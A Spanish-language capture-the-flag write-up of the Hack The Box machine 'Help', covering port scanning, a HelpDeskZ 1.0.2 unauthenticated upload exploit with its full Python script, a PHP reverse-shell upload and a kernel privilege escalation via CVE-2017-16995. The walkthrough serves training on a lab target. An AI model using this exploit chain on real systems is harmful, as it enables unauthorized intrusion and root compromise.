En este post voy a vulnerar la máquina Help de Hack The Box. Es una máquina Linux de nivel fácil donde se puede ver la importancia que tiene leer código.
Enumeración
Comienzo enumerando con nmap los 65536 puertos TCP que hay disponibles.
nmap -p- --open -n -T5 10.10.10.121

En la máquina solo hay tres puertos abiertos. Escaneo los tres puertos para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts básicos de enumeración.
nmap -p22,80,3000 -sV -sC 10.10.10.121 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 18:25 CEST Nmap scan report for 10.10.10.121 Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds
Entro en la web y me encuentro la página por defecto de Apache2 en Ubuntu.

Hago un fuzzing con nmap del http para encontrar directorios ocultos y encuentro el directorio /support/.
nmap -p80 --script http-enum 10.10.10.121

Entro en este directorio y me encuentro un panel de administración de HelpDeskZ en el que puedo interactuar sin autenticarme.

Explotación
Hago una búsqueda de exploits para esta aplicación y encuentro uno que me permite subir archivos a la aplicación. Más información aquí.

Al leer el exploit, veo que me permite subir archivos php, a través de la opción de Submit a Ticket pero que el nombre con el guarda los tickets se crea generando un hash md5 a partir del nombre del fichero que subo y la fecha del servidor web.
controllers httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - Line 141
$filename = md5($_FILES['attachment']['name'].time())...$ext;
Genero un primer ticket y accedo a las cabeceras de respuesta.

La fecha que indica la cabecera es distinta a la de mi sistema. Cambio la hora de mi sistema por la misma que la de la aplicación del sistema víctima (solo es necesario cambiar la zona horaria).
timedatectl set-timezone GMT
Accedo al repositorio de esta versión de HelpDeskZ en github y busco la ruta en la que se guardaría el ticket.

Por último, hago un cambio en el exploit añadiendo la ruta del ticket a la url de salida.
import hashlib
import time
import sys
import requests
import datetime
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
r = requests.get(helpdeskzBaseUrl)
#Gets the current time of the server to prevent timezone errors - DoctorEww
currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970,1,1)).total_seconds())
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+'/uploads/ticket/'+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print 'found!'
print url
sys.exit(0)
print 'Sorry, I did not find anything'
Vuelvo a generar un ticket, añadiendo una shell reversa en php que viene por defecto en Kali Linux (/usr/share/webshells/php/php-reverse-shell.php) y ejecuto el exploit.
python exploit.py http://10.10.10.121/support/ evil.php
Y el exploit encuentra el fichero.

Pongo un netcat a la escucha por el puerto 7899, accedo al fichero que se ha generado y consigo una shell reversa.

Encuentro la flag de usuario en la ruta /home/help/user.txt.

Escalada de Privilegios
Los logs de acceso que se muestran por pantalla al acceder a la máquina víctima me muestran de que se trata de una máquina Ubuntu con un Linux Kernel 4.4.0-116. Busco exploit para esta versión y encuentro uno que permite la escalada de privilegios.

Este script explota la vulnerabilidad registrada como CVE-2017-16995. Tras leer el exploit, veo que solo requiere ser compilado para ser ejecutado por lo que, en la máquina víctima, me dirijo al directorio /tmp, levanto un servidor http con python en mi máquina y transfiero el fichero sin compilar.
Una vez transferido, lo compilo y lo ejecuto, convirtiéndome en usuario root.
gcc -o exploit 44298.c ./exploit

Ahora me dirijo al directorio /root donde encuentro la flag de root.

